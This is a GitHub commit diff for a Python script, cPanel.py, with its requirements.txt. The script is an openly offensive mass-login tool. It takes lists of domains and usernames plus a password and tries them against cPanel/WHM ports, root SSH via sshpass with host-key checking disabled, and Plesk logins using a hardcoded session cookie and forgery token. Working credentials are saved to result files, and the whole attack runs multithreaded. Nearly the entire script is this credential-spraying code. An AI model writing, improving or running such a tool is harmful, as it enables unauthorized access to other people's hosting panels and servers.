Skip to content

Commit dfad4d3

Browse files
committed
released
1 parent 07fe255 commit dfad4d3

File tree

2 files changed

+145
-30
lines changed

2 files changed

+145
-30
lines changed

cPanel.py

+90-30
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,7 @@
66
import urllib3
77
import concurrent.futures
88
from sys import stdout
9+
import argparse
910
from bs4 import BeautifulSoup
1011
from colorama import Fore, init
1112
init(autoreset=True)
@@ -46,8 +47,6 @@ def banners():
4647
def URLdomain(url):
4748
return url.split('/')[0]
4849

49-
50-
5150
def cw(url):
5251
p = [2083, 2087]
5352
headers = {
@@ -59,9 +58,7 @@ def cw(url):
5958

6059
for port in p:
6160
uwp = f'https://{url}:{port}'
62-
6361
response = session.get(uwp, headers=headers, verify=False)
64-
6562
if response.status_code == 200:
6663
if port == 2083:
6764
print(f"{FY}[cPanel/WHM] - {FG}[W00T!] - {FC}[cPanel Found!] - {FW}{uwp}")
@@ -72,20 +69,14 @@ def cw(url):
7269
with open("Results/WHM.txt", "a") as f:
7370
f.write(f"[+] WHM: {uwp}\n")
7471
else:
75-
if port == 2083:
76-
print(f"{FY}[cPanel/WHM] - {FR}[Not Found!] - {FW}{uwp}")
77-
elif port == 2087:
78-
print(f"{FY}[cPanel/WHM] - {FR}[Not Found!] - {FW}{uwp}")
79-
80-
except:
81-
pass
72+
print(f"{FY}[cPanel/WHM] - {FR}[Not Found!] - {FW}{uwp}")
8273

74+
except Exception as e:
75+
print(f"{FY}[cPanel/WHM] - {FR}[Error!] - {FW}{uwp} - {FC}{str(e)}")
8376

84-
85-
def c(url, username):
77+
def c(url, username, password):
8678
ports = [2082, 2083]
8779
ep = "/login/?login_only=1"
88-
password = "OUR PASSWORD"
8980

9081
for port in ports:
9182
uwp = f'https://{url}:{port}{ep}'
@@ -118,35 +109,104 @@ def c(url, username):
118109
except requests.exceptions.RequestException as e:
119110
print(f"{FY}[cPanel/WHM] - {FR}[Bad!] - {FW}https://{url}:{port} - {FC}{username}|{password}")
120111

112+
def ssh(url, username, password):
113+
port = 22
114+
command = f"sshpass -p {password} ssh -o StrictHostKeyChecking=no {username}@{url} -p {port} echo 'SSH connection established'"
115+
116+
try:
117+
result = os.system(command)
118+
if result == 0:
119+
print(f"{FY}[SSH] - {FG}[Success!] - {FW}ssh://{username}@{url}:{port}")
120+
with open("Results/SSH.txt", "a") as f:
121+
f.write(f"[+] SSH: ssh://{username}@{url}:{port}\n")
122+
else:
123+
print(f"{FY}[SSH] - {FR}[Failed!] - {FW}ssh://{username}@{url}:{port}")
124+
except Exception as e:
125+
print(f"{FY}[SSH] - {FR}[Error!] - {FW}ssh://{username}@{url}:{port} - {FC}{str(e)}")
126+
127+
def plesk(url, username, password):
128+
cookies = {'plesk-ext-social-login-jwt-session': 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwbGVzayIsImlhdCI6MTcyMDMzNTAyNywiZGF0YSI6eyJzdGF0ZS1nb29nbGUiOiIxbjJEaGhRRENJXC9wUEIyZ3ZGQkZueEJ2cmhORWl0d3dZeXBFd1hTOHxyZWRpcmVjdC1wbGVzaz1odHRwcyUzQSUyRiUyRnNlcnZlci5sb2dpc2Z5LmNvbSUzQTg0NDMlMkZtb2R1bGVzJTJGc29jaWFsLWxvZ2luJTJGcHVibGljJTJGbG9naW4ucGhwJTNGcHJvdmlkZXIlM0Rnb29nbGUlMjZzdWNjZXNzX3JlZGlyZWN0X3VybCUzRCUyNTJGIiwic3RhdGUtZ2l0aHViIjoiZ25vVGlBVU15OHR4eXM5aTdqaHNJT1FiMzhjS0VQODdIcWFOQTVIZ3xyZWRpcmVjdC1wbGVzaz1odHRwcyUzQSUyRiUyRnNlcnZlci5sb2dpc2Z5LmNvbSUzQTg0NDMlMkZtb2R1bGVzJTJGc29jaWFsLWxvZ2luJTJGcHVibGljJTJGbG9naW4ucGhwJTNGcHJvdmlkZXIlM0RnaXRodWIlMjZzdWNjZXNzX3JlZGlyZWN0X3VybCUzRCUyNTJGIiwic3RhdGUtZmFjZWJvb2siOiJIK1BMdG15Uk1kc0xMa1JlSVdWOXFIdzVzb1wvZWhqYlQ2d3ppdU9FVHxyZWRpcmVjdC1wbGVzaz1odHRwcyUzQSUyRiUyRnNlcnZlci5sb2dpc2Z5LmNvbSUzQTg0NDMlMkZtb2R1bGVzJTJGc29jaWFsLWxvZ2luJTJGcHVibGljJTJGbG9naW4ucGhwJTNGcHJvdmlkZXIlM0RmYWNlYm9vayUyNnN1Y2Nlc3NfcmVkaXJlY3RfdXJsJTNEJTI1MkYifX0.qt7oCvmG8Fsn_i6GTUCskbqnHfY0cdnvj9yVcEGGbrc',}
129+
130+
login_url = f"https://{url}:8443/login_up.php"
131+
headers = {
132+
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
133+
'Accept-Language': 'en-US,en;q=0.9,ms;q=0.8',
134+
'Cache-Control': 'max-age=0',
135+
'Connection': 'keep-alive',
136+
'Content-Type': 'application/x-www-form-urlencoded',
137+
# 'Cookie': 'plesk-ext-social-login-jwt-session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwbGVzayIsImlhdCI6MTcyMDMzNTAyNywiZGF0YSI6eyJzdGF0ZS1nb29nbGUiOiIxbjJEaGhRRENJXC9wUEIyZ3ZGQkZueEJ2cmhORWl0d3dZeXBFd1hTOHxyZWRpcmVjdC1wbGVzaz1odHRwcyUzQSUyRiUyRnNlcnZlci5sb2dpc2Z5LmNvbSUzQTg0NDMlMkZtb2R1bGVzJTJGc29jaWFsLWxvZ2luJTJGcHVibGljJTJGbG9naW4ucGhwJTNGcHJvdmlkZXIlM0Rnb29nbGUlMjZzdWNjZXNzX3JlZGlyZWN0X3VybCUzRCUyNTJGIiwic3RhdGUtZ2l0aHViIjoiZ25vVGlBVU15OHR4eXM5aTdqaHNJT1FiMzhjS0VQODdIcWFOQTVIZ3xyZWRpcmVjdC1wbGVzaz1odHRwcyUzQSUyRiUyRnNlcnZlci5sb2dpc2Z5LmNvbSUzQTg0NDMlMkZtb2R1bGVzJTJGc29jaWFsLWxvZ2luJTJGcHVibGljJTJGbG9naW4ucGhwJTNGcHJvdmlkZXIlM0RnaXRodWIlMjZzdWNjZXNzX3JlZGlyZWN0X3VybCUzRCUyNTJGIiwic3RhdGUtZmFjZWJvb2siOiJIK1BMdG15Uk1kc0xMa1JlSVdWOXFIdzVzb1wvZWhqYlQ2d3ppdU9FVHxyZWRpcmVjdC1wbGVzaz1odHRwcyUzQSUyRiUyRnNlcnZlci5sb2dpc2Z5LmNvbSUzQTg0NDMlMkZtb2R1bGVzJTJGc29jaWFsLWxvZ2luJTJGcHVibGljJTJGbG9naW4ucGhwJTNGcHJvdmlkZXIlM0RmYWNlYm9vayUyNnN1Y2Nlc3NfcmVkaXJlY3RfdXJsJTNEJTI1MkYifX0.qt7oCvmG8Fsn_i6GTUCskbqnHfY0cdnvj9yVcEGGbrc',
138+
'Origin': f'https://{url}:8443',
139+
'Referer': f'https://{url}:8443/login_up.php?success_redirect_url=%2F',
140+
'Sec-Fetch-Dest': 'document',
141+
'Sec-Fetch-Mode': 'navigate',
142+
'Sec-Fetch-Site': 'same-origin',
143+
'Sec-Fetch-User': '?1',
144+
'Upgrade-Insecure-Requests': '1',
145+
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36',
146+
'sec-ch-ua': '"Not/A)Brand";v="8", "Chromium";v="126", "Google Chrome";v="126"',
147+
'sec-ch-ua-mobile': '?0',
148+
'sec-ch-ua-platform': '"Windows"',
149+
}
150+
params = {'success_redirect_url': '/',}
151+
data = {
152+
'login_name': username,
153+
'passwd': password,
154+
'locale_id': 'default',
155+
'forgery_protection_token': '2b5aaa294a3461d1b27c67909c495893',
156+
'success_redirect_url': '/',
157+
}
121158

159+
try:
160+
response = requests.post(login_url, params=params, cookies=cookies, headers=headers, data=data)
161+
response.raise_for_status()
122162

123-
def process_line(line, urls):
163+
if response.status_code == 200:
164+
print(f"{FY}[Plesk] - {FG}[Success!] - {FW}{login_url} - {FC}{username}|{password}")
165+
with open("Results/Plesk.txt", "a") as f:
166+
f.write(f"[+] Plesk: {login_url}\n[+] Username: {username}\n[+] Password: {password}\n\n")
167+
else:
168+
print(f"{FY}[Plesk] - {FR}[Failed!] - {FW}{login_url} - {FC}{username}|{password}")
169+
170+
except requests.exceptions.RequestException as e:
171+
print(f"{FY}[Plesk] - {FR}[Error!] - {FW}{login_url} - {FC}{str(e)}")
172+
173+
def process_line(line, urls, password):
124174
username = line.strip()
125175
for url in urls:
126176
domain = URLdomain(url)
127177
cw(domain)
128-
c(domain, username)
129-
130-
178+
c(domain, username, password)
179+
ssh(domain, "root", password)
180+
plesk(domain, username, password)
131181

132182
def main():
133-
w00t = input(f"{FY}DOMAIN/IP LIST: {FW}")
134-
with open(w00t) as f:
135-
urls = [line.strip() for line in f]
136-
wordlist = input(f"{FY}WORDLIST: {FW}")
183+
parser = argparse.ArgumentParser(description='Process some URLs and usernames.')
184+
parser.add_argument('-f', '--filename', required=True, help='File containing URLs')
185+
parser.add_argument('-u', '--username', required=True, help='Filename containing usernames in config folder')
186+
parser.add_argument('-p', '--password', required=True, help='Filename containing password in config folder')
187+
parser.add_argument('-t', '--thread', type=int, required=True, help='Number of threads to use')
188+
args = parser.parse_args()
189+
190+
url_filename = args.filename
191+
username_filepath = os.path.join("config", args.username)
192+
password_filepath = os.path.join("config", args.password)
193+
num_threads = args.thread
137194

138195
try:
139-
with open(f"lib/{wordlist}", "r") as file:
140-
lines = [line for line in file]
196+
with open(url_filename) as f:
197+
urls = [line.strip() for line in f]
141198

142-
hm = int(input(f"{FY}THREAD: {FW}"))
143-
with concurrent.futures.ThreadPoolExecutor(max_workers=hm) as executor:
144-
executor.map(process_line, lines, [urls] * len(lines))
199+
with open(username_filepath, "r") as file:
200+
usernames = [line.strip() for line in file]
145201

146-
except FileNotFoundError:
147-
print(f"{FR}Whut are you doin? {wordlist} Not Found!")
202+
with open(password_filepath, "r") as file:
203+
password = file.read().strip()
148204

205+
with concurrent.futures.ThreadPoolExecutor(max_workers=num_threads) as executor:
206+
executor.map(process_line, usernames, [urls] * len(usernames), [password] * len(usernames))
149207

208+
except FileNotFoundError as e:
209+
print(f"{FR}File not found: {e.filename}")
150210

151211
if __name__ == "__main__":
152-
main()
212+
main()

requirements.txt

+55
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
anyio==4.4.0
2+
build==1.2.1
3+
CacheControl==0.14.0
4+
certifi==2024.2.2
5+
charset-normalizer==3.3.2
6+
cleo==2.1.0
7+
click==8.1.7
8+
click-pwsh==0.9.4
9+
colorama==0.4.6
10+
construct==2.8.8
11+
crashtest==0.4.1
12+
distlib==0.3.8
13+
dulwich==0.21.7
14+
exceptiongroup==1.2.1
15+
fastjsonschema==2.19.1
16+
filelock==3.14.0
17+
h11==0.14.0
18+
httpcore==1.0.5
19+
httpx==0.27.0
20+
idna==3.7
21+
importlib_metadata==7.1.0
22+
installer==0.7.0
23+
jaraco.classes==3.4.0
24+
keyring==24.3.1
25+
more-itertools==10.2.0
26+
msgpack==1.0.8
27+
packaging==24.0
28+
pexpect==4.9.0
29+
pkginfo==1.10.0
30+
platformdirs==4.2.2
31+
poetry==1.8.3
32+
poetry-core==1.9.0
33+
poetry-plugin-export==1.8.0
34+
protobuf==4.25.3
35+
ptyprocess==0.7.0
36+
pycryptodome==3.20.0
37+
pymp4==1.4.0
38+
pyproject_hooks==1.1.0
39+
pywidevine==1.8.0
40+
pywin32-ctypes==0.2.2
41+
PyYAML==6.0.1
42+
rapidfuzz==3.9.1
43+
requests==2.31.0
44+
requests-toolbelt==1.0.0
45+
shellingham==1.5.4
46+
sniffio==1.3.1
47+
tomli==2.0.1
48+
tomlkit==0.12.5
49+
trove-classifiers==2024.5.17
50+
typing_extensions==4.12.2
51+
Unidecode==1.3.8
52+
urllib3==2.2.1
53+
vboxapi==1.0
54+
virtualenv==20.26.2
55+
zipp==3.18.2

0 commit comments

Comments
 (0)